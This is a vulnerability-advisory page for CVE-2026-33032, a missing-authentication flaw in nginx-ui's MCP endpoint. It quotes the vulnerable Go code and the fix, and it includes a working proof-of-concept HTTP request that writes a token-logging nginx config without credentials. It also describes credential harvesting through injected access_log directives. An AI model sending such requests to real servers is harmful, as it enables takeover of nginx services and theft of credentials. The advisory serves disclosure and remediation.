Skip to main content

Nginx CVE-2026-33032

| EUVD-2026-17158 CRITICAL
Missing Authentication for Critical Function (CWE-306)
2026-03-30 https://github.com/0xJacky/nginx-ui GHSA-h6c2-x2m2-mwhf
9.8
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Re-analysis Queued
Apr 16, 2026 - 22:22 vuln.today
cvss_changed
EUVD ID Assigned
Mar 30, 2026 - 16:45 euvd
EUVD-2026-17158
Analysis Generated
Mar 30, 2026 - 16:45 vuln.today
CVE Published
Mar 30, 2026 - 16:43 nvd
CRITICAL 9.8

DescriptionNVD

Summary

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details

#### Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

go
func InitRouter(r *gin.Engine) {
	r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
	r.Any("/mcp_message", middleware.IPWhiteList(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
}

The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all

go
func IPWhiteList() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
			c.Next()
			return
		}
		// ...
	}
}

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design. #### Available MCP Tools (all invocable without auth)

From mcp/nginx/:

  • restart_nginx - restart the nginx process
  • reload_nginx - reload nginx configuration
  • nginx_status - read nginx status

From mcp/config/:

  • nginx_config_add - create new nginx config files
  • nginx_config_modify - modify existing config files
  • nginx_config_list - list all configurations
  • nginx_config_get - read config file contents
  • nginx_config_enable - enable/disable sites
  • nginx_config_rename - rename config files
  • nginx_config_mkdir - create directories
  • nginx_config_history - view config history
  • nginx_config_base_path - get nginx config directory path

#### Attack Scenario

  1. Attacker sends HTTP requests to http://target:9000/mcp_message (default port)
  2. No authentication is required - IP whitelist is empty by default
  3. Attacker invokes nginx_config_modify with relative_path="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers)
  4. nginx_config_add auto-reloads nginx (config_add.go:74), or attacker calls reload_nginx directly
  5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC

1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

go
// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

go
var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}

And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:

go
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}

3. Config writes auto-reload nginx. From mcp/config/config_add.go:

go
err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

http
POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact

  • Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
  • Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
  • Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
  • Configuration exfiltration: All existing nginx configs are readable via nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers
  • Credential harvesting: By injecting access_log directives with custom log_format patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcp_message route:

go
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

AnalysisAI

Remote unauthenticated nginx service takeover in nginx-ui's MCP integration allows network attackers to create, modify, or delete nginx configuration files and trigger automatic reloads without authentication. The /mcp_message endpoint lacks authentication middleware while exposing the same MCP tool handlers as the protected /mcp endpoint, and the IP whitelist defaults to empty (allow-all). …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Immediately identify all nginx-ui deployments in your environment and isolate affected instances from untrusted networks; implement network-level access controls to restrict /mcp_message endpoint to trusted administrative IPs only. Within 7 days: Monitor vendor (nginx-ui maintainers) for patch release; subscribe to security advisories for update notifications; conduct forensic review of nginx configuration change logs for unauthorized modifications since deployment date. …

Sign in for detailed remediation steps.

Vendor StatusVendor

Share

CVE-2026-33032 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy